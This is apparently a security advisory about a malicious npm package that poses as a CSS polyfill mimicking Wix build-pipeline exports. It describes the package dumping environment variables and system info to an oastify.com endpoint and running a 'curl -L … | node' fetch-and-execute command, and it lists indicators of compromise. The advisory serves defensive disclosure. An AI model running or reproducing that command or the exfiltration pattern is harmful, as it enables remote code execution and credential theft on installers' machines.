GCVE-110-OSM-2026-13286

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs. ENTRY index.js (main: index.js) DESTINATION - 4 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in thunderboltRegistry.js: "oastify.com" - Data Encoding for Exfiltration in thunderboltRegistry.js: "encodeURIComponent(site)).catch(function(){}); } catch(e" - System Information Collection in thunderboltRegistry.js: "process.platform" - Suspicious Domain in thunderboltRegistry.js: "oastify.com" ADDITIONAL FINDINGS - Shell Command Execution in thunderboltRegistry.js: "require("child_process")" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES thunderboltRegistry.js